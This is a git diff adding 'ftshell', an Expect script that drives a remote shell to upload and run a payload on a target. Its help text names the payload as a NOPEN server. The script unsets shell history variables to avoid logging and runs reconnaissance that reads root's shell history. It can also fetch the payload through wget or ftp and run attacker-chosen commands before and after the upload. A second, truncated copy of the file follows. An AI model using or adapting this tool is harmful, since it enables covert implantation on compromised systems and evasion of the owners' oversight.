verbose status +proc verbose_status {} { + global verbose_flag + if ($verbose_flag) { + return "on" + } else { + return "off" + } +} +# send_user if verbose is on +proc send_verbose {msg} { + global verbose_flag + + if $verbose_flag { + send_user $msg + } +} + +# Toggle check of remote commands +proc toggleExitCheck {} { + global checkExitStatus + set checkExitStatus [expr !$checkExitStatus] + send_user "check exit status [exitCheck]\r\n" +} + +# Get value of exitCheck +proc exitCheck {} { + global checkExitStatus + if ($checkExitStatus) { + return "on" + } else { + return "off" + } +} + +# local cd +proc chdir {} { + stty -raw echo + send_user "c\n" + send_user "current directory : [pwd]\n" + send_user "change to directory: " + expect_user -re "(.*)\n" { + set newDir $expect_out(1,string) + if [string length $newDir] { + if [catch {cd $newDir} msg] { + send_user "failed: $msg\n" + } + send_user "local directory now: [pwd]\n" + } else { + send_user "local directory unchanged\n" + } + } + stty raw -echo +} + +# get names for file for a 'get' +proc get_main {} { + global prompt + stty -raw echo + send_user "g\nget remote file \[localfile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (remote) $f1 to (local) $f2\n" + send "sh\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $expect_out(1,string)\n" + send "sh\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +#get names of files for a 'put' +proc put_main {} { + global prompt + stty -raw echo + send_user "p\nput localfile \[remotefile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (local) $f1 to (remote) $f2\n" + send "sh\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + dounsets + put $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $f1\n" + send "sh\r" + expect -re $prompt + dounsets + send "PS1='xfer$ '\r" + expect -re $prompt + put $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +# Get PID on remote system +proc getrpid {} { + global prompt + send_verbose "remote pid is " + send "echo $$\r" + expect -re "(.*)\r\n.*$prompt" { + set rpid $expect_out(1,string) + } +} + +# +# update the bytes transfered status message. Update the display +# no more often then once per second unless 'amount' is 0 which +# means fource an update. +# Negative 'amount's may not work as expected. +# +proc updateStatus {direction amount} { + global bytesTransfered + global lastUpdateStatus + global startTime + + if {$bytesTransfered == 0} { + send_user "\n" + set lastUpdateStatus 0 + set startTime [timestamp] + send_user [timestamp -format "Transfer started at %c\n" -seconds $startTime] + } + + set newTime [timestamp] + if { $amount != 0 } { + # Add one for the newline + set bytesTransfered [expr $bytesTransfered + $amount + 1] + } + + # Only update once per second. however, + # if amount is 0 then force update + if {$lastUpdateStatus < $newTime || $amount == 0} { + set lastUpdateStatus $newTime + set timeDelta [expr $newTime - $startTime] + if {$timeDelta == 0} { + set dataRate 0 + } else { + set dataRate [expr $bytesTransfered / $timeDelta] + } + send_user "\r" + send_user "Bytes $direction: $bytesTransfered; Transfer rate: $dataRate B/s " + } +} + +# Run command via send on remote system +# Waits till comand has completed and then grabs +# its exit status and returns that +proc rcmd {cmd} { + global prompt + global checkExitStatus + + send_verbose "rcmd--> $cmd\n" + send -- $cmd + expect -re $prompt + + if {$checkExitStatus == 0} { + return 0 + } + + set ologuser [log_user 1] +# set ologuser [log_user 0] + set status 999 + + send "echo \$?\r" + send_verbose "echo \$?\n" + expect { + -re "(\[0-9]+)\r\n" { + set status $expect_out(1,string) + } + } + expect -re $prompt + + log_user $ologuser + + # Return to normal modes -- so calling routine need + # only do a return. + if {$status != 0} { + send "stty echo\r" + set cmd [string trimright $cmd "\r"] + send_user "remote command '$cmd' failed; code=$status\n" + log_user 1 + } + + return $status +} + +# Get file from remote system +proc get {infile outfile} { + global prompt verbose_flag bytesTransfered + global uudecode + + + if (!$verbose_flag) { + log_user 0 + } + + send_verbose "disabling echo: " + send "stty -echo\r" + expect -re $prompt + + set label "uulabel" + if [string match *.uu $infile] { + send_user "not encoding or compressing\n" + set remote_cmd "cat $infile" + set local_cmd "cat > $outfile" + } elseif [regexp "\.(Z|gz|bz2)$" $infile] { + send_user "not compressing\n" + set remote_cmd "cat $infile | uuencode $label | cat" + set local_cmd "$uudecode > $outfile" + } else { + set remote_cmd "compress -fc $infile | uuencode $label | cat"; + set local_cmd "$uudecode | uncompress -cf > $outfile" + } + + send_verbose "\nremote command: $remote_cmd\n" + send_verbose "local command: $local_cmd\n" + + # Calculate amount of data to transfer + send_user "Total bytes to transfer: " + send "$remote_cmd | wc -c\r" + expect -re $prompt + + set out [open "|$local_cmd" w] +# send_verbose "open returned\n" + + send "$remote_cmd\r" + + + log_user 0 + + set bytesTransfered 0 + expect { + -re "^end\r\n" { + puts $out "end" + close $out + updateStatus "received" [string length "end"] + } + -re "^(\[^\r]*)\r\n" { + puts $out $expect_out(1,string) + updateStatus "received" [string length $expect_out(1,string)] + exp_continue + } + -re "xfer\\$ $" { + send_user "caught prompt - aborting xfer\n" + send '\003' + } + } + updateStatus "received" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + expect -re $prompt + + + send "stty echo\r" + log_user 1 +} + +# send file to remote system +proc put {infile outfile} { + global prompt verbose_flag bytesTransfered + global errorCode + global errorInfo + global uudecodeCMD + global usewhich + + set uudecodeCMD "" + if (!$verbose_flag) { + log_user 0 + } + + # Note: We can't assume that uudecode on the remote + # system takes the -p argument :-( + send "\r" + expect -re $prompt + + send_verbose "remote pid is " + send "echo $$\r" + expect -re "(.*)\r\n.*$prompt" { + set rpid $expect_out(1,string) + } + + + set uudecodePath "not found" + set perlPath "not found" + set uncompressPath "not found" + set gzipPath "not found" + + # This (may) avoids incorrectly NOT recognizing the output of type + send "\r" + expect -re $prompt + + if (!$usewhich) { + send "type uudecode perl uncompress gzip\r" + expect -re "(.*)\r\n.*$prompt" { + regexp "is (/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp ".*\r\n.*is (/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp ".*\r\n.*\r\n.*is (/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp ".*\r\n.*\r\n.*\r\n.*is (/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } + } else { + send "export HOME=\"\"\r" + expect -re $prompt + send "setenv HOME \"\"\r" + expect -re $prompt + send "which uudecode perl uncompress gzip\r" + expect -re "(.*)\r\n.*$prompt" { + regexp "(/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp ".*\r\n(/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp ".*\r\n(/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp ".*\r\n(/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } + if [regexp " no" $uudecodePath] { + set uudecodePath "" + } + if [regexp " no" $perlPath] { + set perlPath "" + } + if [regexp " no" $uncompressPath] { + set uncompressPath "" + } + if [regexp " no" $gzipPath] { + set gzipPath "" + } + } + + # This (may) avoids incorrectly NOT recognizing the output of type + send "\r" + expect -re $prompt + + send_verbose "\nPATH TO: uudecode $uudecodePath\n" + send_verbose "PATH TO: perl $perlPath\n" + send_verbose "PATH TO: uncompress $uncompressPath\n" + send_verbose "PATH TO: gzip $gzipPath\n\n" + + + send "stty -echo\r" + expect -re $prompt + send_verbose "disabling echo: " + + + + set nocompress "" + set usegzip "" + if ![regexp "uncompress" $uncompressPath] { + send_verbose "No uncompress\n" + if ![ regexp "gzip" $gzipPath] { + send_verbose "No compress or gzip...will not compress upload\n" + set nocompress "yes" + } else { + send_verbose "No compress but there is gzip...will uncompress with gzip -dc\n" + set usegzip "yes" + } + } + + if ![regexp "uudecode" $uudecodePath] { + send_verbose "No uudecode\n" + if ![regexp "perl" $perlPath] { + send_verbose "No perl or uudecode...cannot send file\n" + send "stty echo\r" + return + } else { + send_verbose "Using perl for uudecode\n" + set uudecodeCMD "$perlPath -e ' +\$_ = <> until (\$mode,\$file) = /^begin\\s(\\d*)\\s*(\\S*)/; +open (OUT,\"> \$file\") if \$file ne \"\"; +while (<>) { + last if /^end/; + next if /a-z/; + next unless int ((((ord() - 32) & 077) + 2) / 3) == int(length() / 4); + print OUT unpack (\"u\",\$_) ; +} +close (OUT); +chmod oct \$mode, \$file ; +print \"Just created \$file: + +ls -al \$file*\\n\"; +print `ls -al \$file*`; +'" + } + } else { + set uudecodeCMD $uudecodePath + } + + + set needEOF 0 + if [string match *.uu $infile] { + send_user "not encoding or compressing" + set local_cmd "cat $infile" + set remote_cmd "cat > $outfile < $outfile && rm -f $label" + } else { + set remote_cmd "$uudecodeCMD && $uncompressPath -cf $label > $outfile && rm -f $label" + } + } + + send_verbose "\nlocal command: $local_cmd\n" + send_verbose "remote command: $remote_cmd\n" + + if [rcmd "touch $outfile\r"] { + send_user "put failed -- can't write to destination file\n" + expect -re $prompt + send "stty echo\r" + log_user 1 + return 1 + } + + if { $needEOF == 1 } { + # Turn off PS2 prompt for hear-is documents + if [rcmd "PS2=\r"] { + send_user "Unable to clear PS2 variable\n" + expect -re $prompt + log_user 1 + return 1 + } + } + + # Calculate amount of data to transfer + send_user "\nTotal bytes to transfer: " + set fp [open "|$local_cmd | wc -c" r] + gets $fp buf + send_user "$buf\n" + + + # Issue remote command to recieve data + send_verbose "sending...\n" + send "\r" + expect -re $prompt + send "$remote_cmd\r" + + log_user 0 + + set fp [open "|$local_cmd" r] + set bytesTransfered 0 + while 1 { + if {-1 == [gets $fp buf]} break + send -- "$buf\n" + updateStatus "sent" [string length $buf] + } + updateStatus "sent" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + if ($needEOF) { + send "EOF\r" + } else { + send "\r" + } + + close $fp + + + if [file executable $infile] { + if [rcmd "chmod +x $outfile\r"] { + send_user "chmod failed\n" + } + } + + rcmd "stty echo\r" + + log_user 1 +} + +proc interactivebanner {} { + global showthis + set nowTime [timestamp] + + send_user "+\n+ ftshell: ENTERING INTERACTIVE MODE at \n\+ " + send_user [timestamp -format " %c" -seconds $nowTime] + send_user " $showthis\n+----------------------------------------------------\n" +} + +proc dounsets {} { + global prompt + + send "\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTSIZE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt +} + +proc dothisfirst {} { + global dothisquiet + global dothisreallyquiet + global prompt + global showthis + + dounsets + if { ![string match "yes" $dothisquiet] } { + send "ls -alrt / | tail\r" + expect -re $prompt + send "ls -alrt /tmp | tail\r" + expect -re $prompt + send "cd /dev ; ps -ef | grep $$\r" + expect -re $prompt + send "cd /tmp ; ps -ef | grep $$\r" + expect -re $prompt + } + if { ![string match "yes" $dothisreallyquiet] } { + send "tail /.*history | strings ; echo ======= ; tail /root/.*history | strings \r" + expect -re $prompt + interactivebanner + send "w ; date ; date -u ; df -k ; uname -a ; cd /tmp ; pwd\r" + expect -re $prompt + } else { + interactivebanner + send "cd /tmp ; pwd\r" + expect -re $prompt + } +} + +proc interactive {} { + global prompt + global dodothis + global dobash + global user_break + global showthis + global usewhich + global usesetenv + + if { [string match "yes" $dodothis] } { + dothisfirst + } + if { [string match "yes" $dobash] } { + set findwith "type" + if ($usewhich) { + set findwith "which" + } + set setshell "SHELL=/bin/bash" + if ($usesetenv) { + set setshell "setenv SHELL /bin/bash" + } + send "$findwith bash && $setshell && exec bash\r" + expect -re $prompt + dounsets + interactivebanner + send "\[ \"\$BASH\" = \"/bin/bash\" -o \"\$SHELL\" = \"/bin/bash\" \] && PS1=\">>\\d \\t \[pwd:\\w\]\\n\\u@\\h \\\\\$ \"\r" + expect -re $prompt + } + + while [catch "interact ~~ cmd" msg] { + send_user "interact failed - perhaps the connection died\n" + send_user "hit (c) to continue agin, or (q) to quit\n" + stty -raw echo + expect_user { + c { send_user "continue...\n" } + q { send_user "quitting...\n"; exit 1 } + } + stty raw -echo + # exit 1 + } + if ($user_break) { + exit 1 ; + } else { + exit 0 + } +} + +proc processUpload {} { + global prompt + global uLocalFile uRemoteFile uBeforeCmd uAfterCmd uStayOn + global user_spawn_id + global uudecodeCMD + global user_break + global uRemoteUploadCommand + global dobash + global usewhich + global usesetenv + + stty raw echo + + # If the user presses CTRL-c, pass it on and switch to interactive mode + expect_after { + -i $user_spawn_id \003 { + send "\003" + set user_break 1 + interactive + } + } + + send_user "Processing upload\n" + + if { [string match "yes" $dobash] } { + set findwith "type" + if ($usewhich) { + set findwith "which" + } + set setshell "SHELL=/bin/bash" + if ($usesetenv) { + set setshell "setenv SHELL /bin/bash" + } + send "$findwith bash && $setshell && exec bash\r" + expect -re $prompt + dounsets + interactivebanner + send "\[ \"\$BASH\" = \"/bin/bash\" -o \"\$SHELL\" = \"/bin/bash\" \] && PS1=\">>\\d \\t \[pwd:\\w\]\\n\\u@\\h \\\\\$ \"\r" + expect -re $prompt + } + + + dothisfirst + + if { [string match "" $uBeforeCmd] == 0 } { + send "$uBeforeCmd\r" + send "echo ebc\r" + expect { + -re "(.*)ebc\r\n.*$prompt" { } + } + send "\r" + expect -re $prompt + } + + if { [string length $uRemoteUploadCommand] > 0 } { + send "\r" + expect -re $prompt + send_verbose "ABOUT TO UPLOAD $uRemoteFile via::${uRemoteUploadCommand}::\r" + send "${uRemoteUploadCommand}\r" + expect -re $prompt + } else { + if { [string length $uRemoteFile] > 0 } { + put $uLocalFile $uRemoteFile + } else { + put $uLocalFile $uLocalFile + } + if { [string length $uudecodeCMD] <= 0 } { + send "stty echo\r" + set user_break 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting!!\a\n" + sleep 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!!!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting upload and going INTERACTIVE\a\033\[0;39m\n" + sleep 2 + interactive + } + } + + if { [string length $uAfterCmd] > 0 } { + send "$uAfterCmd\r" + expect -re $prompt + } + + if { [string length $uStayOn] > 0 } { + interactive + } else { + send "echo eac\r" + expect -re "(.*)eac\r\n.*$prompt" + send "exit\r" + expect eof + } + exit 0 +} + +proc cmd {} { + global prompt + + set CTRLZ \032 + + send_user "Command (g,p,? for more): " + expect_user { + g { + if [catch {get_main} msg] { + send_user "get command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "\r" + send "stty echo\r" + stty raw -echo + send "\r" + } + } + p { + if [catch {put_main} msg] { + send_user "put command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "stty echo\r" + stty raw -echo + send "\r" + } + } + c chdir + v verbose + e toggleExitCheck + ~ {send "~"} + "\\?" { + send_user "?\n" + send_user "~~g get file from remove system\n" + send_user "~~p put file to remote system\n" + send_user "~~c change/show local directory\n" + send_user "~~~ send ~ to remote system\n" + send_user "~~? this list\n" + send_user "~~v verbose mode toggle (currently [verbose_status])\n" + send_user "~~e exit code check toggle (currently [exitCheck])\n" + send_user "~~^Z suspend\n" + } + $CTRLZ { + stty -raw echo + exec kill -STOP 0 + stty raw -echo + } + -re . {send_user "unknown command\n"} + } + send_user "resuming session...\n" + send "\r" + expect -re $prompt +} + +# Chatch SIGINT +trap -code { + send_user "\n" + send_user "got a control-C\n" + error controlc +} SIGINT + +# Begin main routine + +if [info exists env(EXPECT_PROMPT)] { + set prompt $env(EXPECT_PROMPT) +} else { + set prompt "(%|:|#|\\$)\[ ]*$" +} + +set user_break 0 +set version 3.8 +set timeout -1 +set verbose_flag 1 +set checkExitStatus 1 +set bytesTransfered 0 +set sawCtrlC 0 + +# Get a version of uudecode that writes the output to stdout +# This is for the local system, not the remote one. +set os [exec uname -s] +if {[string compare $os "Linux"] == 0} { + set uudecode "uudecode -o /dev/stdout" +} elseif {[string compare $os "SunOS"] == 0} { + set uudecode "uudecode -p" +} else { + send_user "Unknown OS type '$os', can't determine args to uudecode\n"; + exit 1 +} + +# Give response to -v version request and exit +if {[string match "-v" $argv] == 1} { + send_user "ftshell Version $version\n" + exit 0 +} + +if {[string match "-h" $argv] == 1} { + send_user " +Usage: ftshell \[options\] program \[arguments\] + +ftshell is an expect script that (locally) runs the program \[arguments\] +provided, normally some sort of shell access to another Unix system. +It allows for either automatic or interactive upload/download of files +using some combination of uu*code, compress, gzip, perl. + +Or, using the -U option, automatic file transfer can be achieved via a +user-provided string which results in a file being transferred to the +system (e.g., ftp, wget, etc.) + +Normally, ftshell is used by ourtn and the payload being uploaded is a +NOPEN server. But ftshell is usable directly by the user, as well. + +OPTIONS (MUST BE SPACE DELIMITED, EACH OPTION GETTING ITS OWN \"-\") + + -h/-v Show usage/version. + -I Run some info gathering commands when connected, before + either automatic upload/execution or user interaction. + Commands run: + ls -alrt / | tail + ls -alrt /tmp | tail + cd /dev ; ps -ef | grep \$\$ + cd /tmp ; ps -ef | grep \$\$ + tail /.*history | strings ; echo ======= + tail /root/.*history | strings + w ; date ; date -u ; df -k ; uname -a + cd /tmp ; pwd + -q Used with -I, skips the first four lines above. + -Q Used with -I, skips all but the last line above. + -B Try to exec bash if available. + -E Use setenv to set variables not \"VAR=val\". + -u file Upload file automatically once connected. If upload cannot + be done due to lack of proper Unix commands on target, an + interactive shell is provided instead. Use the \$A and \$B + environment variables to prepare for and run the file, + respectively, or to otherwise do stuff on target. + -w Use which (not type) to find target commands for upload. + -r rname Uploaded file name on target. + -L Leave the shell in interactive mode after automatic upload + is complete. (Default is to exit the shell.) + -U --str-- Execute the \"--\" delimited string \"str\" provided to + upload the file rather than the -u method. End result must + be that rname exists in /tmp. This will normally be a wget + or ftp command. If for some reason (e.g., a previous + failed attempt) the right binary is already there, --str-- + could just be --echo--, to basically do nothing at that + step. NOTE: --str-- CANNOT contain any \";\" characters. + But \"\\&\\&\" works (yes, you must escape them). + +ENVIRONMENT VARIABLES + B Run the contents of \$B before the automatic upload. + A Run the contents of \$A after the automatic upload. + SHOWTHIS String to show user once connected. + +ftshell Version $version +" + exit 0 +} + +if [regexp "(.*)\\-I (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -I : Issuing recon commands\n" + set dodothis "yes" +} else { + set dodothis "" +} + +if [regexp "(.*)\\-q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -q : Being quiet about it (no ps or ls)\n" + set dothisquiet "yes" +} else { + set dothisquiet "" +} + +if [regexp "(.*)\\-Q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -Q : Being REALLY quiet about it (no tail, ps, ls, date or uname)\n" + set dothisquiet "yes" + set dothisreallyquiet "yes" +} else { + set dothisreallyquiet "" +} + +if [regexp "(.*)\\-w (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -w : Using which instead of type\n" + set usewhich 1 +} else { + set usewhich 0 +} + +if [regexp "(.*)\\-E (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -E : Using setenv syntax\n" + set usesetenv 1 +} else { + set usesetenv 0 +} + +if [regexp "(.*)\\-B (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -B : Switching to /bin/bash if available\n" + set dobash "yes" +} else { + set dobash "" +} + +# See if uudecode (and therefore uuencode) is around LOCALLY. +if [catch "exec which uudecode" msg] { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} +if {[string match "/*" $msg] == 0} { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} + +if [regexp "(.*)\\-u ((\[^ \])*)(.*)" $argv ignore ava uLocalFile ignore avb] { + send_user "Local File : $uLocalFile\n" + set argv "$ava $avb" +} else { + set uLocalFile "" +} + +if [regexp "(.*)\\-r ((\[^ \])*)(.*)" $argv ignore ava uRemoteFile ignore avb] { + send_user "ftshell Remote File : $uRemoteFile\n" + set argv "$ava $avb" +} else { + set uRemoteFile "" +} + +if [regexp "(.*)\\-L (.*)" $argv ignore ava avb] { + send_user "ftshell -L : Keeping shell alive\n" + set uStayOn "1" + set argv "$ava $avb" +} else { + set uStayOn "" +} + +if [regexp "(.*)\\-U \\-\\-(.*)\\-\\-(.*)" $argv ignore ava uRemoteUploadCommand avb] { + if { [string length $uLocalFile] > 1 } { + send_user "ftshell: Fatal error. Cannot use -u $uLocalFile with -U" + exit 1 + } + send_user "ftshell -U : using -U to upload with::${uRemoteUploadCommand}::\n" + set argv "$ava $avb" +} else { + set uRemoteUploadCommand "" +} + + +if [info exists env(B)] { + set uBeforeCmd $env(B) + send_user "ftshell Before Command: $uBeforeCmd\n" +} else { + set uBeforeCmd "" +} + +if [info exists env(A)] { + set uAfterCmd $env(A) + send_user "ftshell After Command : $uAfterCmd\n" +} else { + set uAfterCmd "" +} + +if [info exists env(SHOWTHIS)] { + set showthis $env(SHOWTHIS) +} else { + set showthis "" +} + +if [catch "spawn $argv" msg] { + send_user "spawn failed: $msg\n" + send_user "\nDid by chance you forget to specify a command to run?\n" + send_user " $argv\n" + exit $? +} + +if { [string length $uLocalFile] > 0 } { processUpload } +if { [string length $uRemoteUploadCommand] > 0 } { processUpload } + +send_user "\n" +send_user "+----------------------------------------------------\n" +send_user "+ Welcome to ftshell v.$version -- File Transter Shell\n" +send_user "+ Use ~~ to access menu/commands.\n" +send_user "+ You may need to add extra ~ characters if you\n" +send_user "+ are logged in via something like rlogin.\n" +send_user "+ Typing a ^C during a file transfer, will probably\n" +send_user "+ kill this program and anything you run through it\n" +send_user "+ \n" +send_user "+ New: Interactive mode now always executes a few\n" +send_user "+ commands (unset, ps, grep, w, date, etc.)\n" +send_user "+----------------------------------------------------\n" + +#expect -re $prompt +#send "exec sh\r" +#expect -re $prompt + +set user_break 0 + + +interactive diff --git a/Linux/bin/ftshell.v3.8.0.1 b/Linux/bin/ftshell.v3.8.0.1 new file mode 100755 index 0000000..24c709a --- /dev/null +++ b/Linux/bin/ftshell.v3.8.0.1 @@ -0,0 +1,1054 @@ +#!/bin/sh +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# Run this in expect, the backslash makes the next line (exec) +# a comment to expect but not the shell \ +exec expect -f "$0" -- ${1+"$@"} + +## $RCSfile: ftshell.tcl,v $ $Revision: 1.30 $ + + +# +# ftshell -- File Transfer Shell +# +# An expect wrapper arround telnet that adds functions +# via an "~~" escape to up/down -load files. +# + +# Toggle verbose status +proc verbose {} { + global verbose_flag + set verbose_flag [expr !$verbose_flag] + send_user "verbose [verbose_status]\r\n" +} +# Return verbose status +proc verbose_status {} { + global verbose_flag + if ($verbose_flag) { + return "on" + } else { + return "off" + } +} +# send_user if verbose is on +proc send_verbose {msg} { + global verbose_flag + + if $verbose_flag { + send_user $msg + } +} + +# Toggle check of remote commands +proc toggleExitCheck {} { + global checkExitStatus + set checkExitStatus [expr !$checkExitStatus] + send_user "check exit status [exitCheck]\r\n" +} + +# Get value of exitCheck +proc exitCheck {} { + global checkExitStatus + if ($checkExitStatus) { + return "on" + } else { + return "off" + } +} + +# local cd +proc chdir {} { + stty -raw echo + send_user "c\n" + send_user "current directory : [pwd]\n" + send_user "change to directory: " + expect_user -re "(.*)\n" { + set newDir $expect_out(1,string) + if [string length $newDir] { + if [catch {cd $newDir} msg] { + send_user "failed: $msg\n" + } + send_user "local directory now: [pwd]\n" + } else { + send_user "local directory unchanged\n" + } + } + stty raw -echo +} + +# get names for file for a 'get' +proc get_main {} { + global prompt + stty -raw echo + send_user "g\nget remote file \[localfile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (remote) $f1 to (local) $f2\n" + send "sh\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $expect_out(1,string)\n" + send "sh\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +#get names of files for a 'put' +proc put_main {} { + global prompt + stty -raw echo + send_user "p\nput localfile \[remotefile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (local) $f1 to (remote) $f2\n" + send "sh\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + dounsets + put $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $f1\n" + send "sh\r" + expect -re $prompt + dounsets + send "PS1='xfer$ '\r" + expect -re $prompt + put $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +# Get PID on remote system +proc getrpid {} { + global prompt + send_verbose "remote pid is " + send "echo $$\r" + expect -re "(.*)\r\n.*$prompt" { + set rpid $expect_out(1,string) + } +} + +# +# update the bytes transfered status message. Update the display +# no more often then once per second unless 'amount' is 0 which +# means fource an update. +# Negative 'amount's may not work as expected. +# +proc updateStatus {direction amount} { + global bytesTransfered + global lastUpdateStatus + global startTime + + if {$bytesTransfered == 0} { + send_user "\n" + set lastUpdateStatus 0 + set startTime [timestamp] + send_user [timestamp -format "Transfer started at %c\n" -seconds $startTime] + } + + set newTime [timestamp] + if { $amount != 0 } { + # Add one for the newline + set bytesTransfered [expr $bytesTransfered + $amount + 1] + } + + # Only update once per second. however, + # if amount is 0 then force update + if {$lastUpdateStatus < $newTime || $amount == 0} { + set lastUpdateStatus $newTime + set timeDelta [expr $newTime - $startTime] + if {$timeDelta == 0} { + set dataRate 0 + } else { + set dataRate [expr $bytesTransfered / $timeDelta] + } + send_user "\r" + send_user "Bytes $direction: $bytesTransfered; Transfer rate: $dataRate B/s " + } +} + +# Run command via send on remote system +# Waits till comand has completed and then grabs +# its exit status and returns that +proc rcmd {cmd} { + global prompt + global checkExitStatus + + send_verbose "rcmd--> $cmd\n" + send -- $cmd + expect -re $prompt + + if {$checkExitStatus == 0} { + return 0 + } + + set ologuser [log_user 1] +# set ologuser [log_user 0] + set status 999 + + send "echo \$?\r" + send_verbose "echo \$?\n" + expect { + -re "(\[0-9]+)\r\n" { + set status $expect_out(1,string) + } + } + expect -re $prompt + + log_user $ologuser + + # Return to normal modes -- so calling routine need + # only do a return. + if {$status != 0} { + send "stty echo\r" + set cmd [string trimright $cmd "\r"] + send_user "remote command '$cmd' failed; code=$status\n" + log_user 1 + } + + return $status +} + +# Get file from remote system +proc get {infile outfile} { + global prompt verbose_flag bytesTransfered + global uudecode + + + if (!$verbose_flag) { + log_user 0 + } + + send_verbose "disabling echo: " + send "stty -echo\r" + expect -re $prompt + + set label "uulabel" + if [string match *.uu $infile] { + send_user "not encoding or compressing\n" + set remote_cmd "cat $infile" + set local_cmd "cat > $outfile" + } elseif [regexp "\.(Z|gz|bz2)$" $infile] { + send_user "not compressing\n" + set remote_cmd "cat $infile | uuencode $label | cat" + set local_cmd "$uudecode > $outfile" + } else { + set remote_cmd "compress -fc $infile | uuencode $label | cat"; + set local_cmd "$uudecode | uncompress -cf > $outfile" + } + + send_verbose "\nremote command: $remote_cmd\n" + send_verbose "local command: $local_cmd\n" + + # Calculate amount of data to transfer + send_user "Total bytes to transfer: " + send "$remote_cmd | wc -c\r" + expect -re $prompt + + set out [open "|$local_cmd" w] +# send_verbose "open returned\n" + + send "$remote_cmd\r" + + + log_user 0 + + set bytesTransfered 0 + expect { + -re "^end\r\n" { + puts $out "end" + close $out + updateStatus "received" [string length "end"] + } + -re "^(\[^\r]*)\r\n" { + puts $out $expect_out(1,string) + updateStatus "received" [string length $expect_out(1,string)] + exp_continue + } + -re "xfer\\$ $" { + send_user "caught prompt - aborting xfer\n" + send '\003' + } + } + updateStatus "received" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + expect -re $prompt + + + send "stty echo\r" + log_user 1 +} + +# send file to remote system +proc put {infile outfile} { + global prompt verbose_flag bytesTransfered + global errorCode + global errorInfo + global uudecodeCMD + global usewhich + + set uudecodeCMD "" + if (!$verbose_flag) { + log_user 0 + } + + # Note: We can't assume that uudecode on the remote + # system takes the -p argument :-( + send "\r" + expect -re $prompt + + send_verbose "remote pid is " + send "echo $$\r" + expect -re "(.*)\r\n.*$prompt" { + set rpid $expect_out(1,string) + } + + + set uudecodePath "not found" + set perlPath "not found" + set uncompressPath "not found" + set gzipPath "not found" + + # This (may) avoids incorrectly NOT recognizing the output of type + send "\r" + expect -re $prompt + + if (!$usewhich) { + send "type uudecode perl uncompress gzip\r" + expect -re "(.*)\r\n.*$prompt" { + regexp "is (/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp ".*\r\n.*is 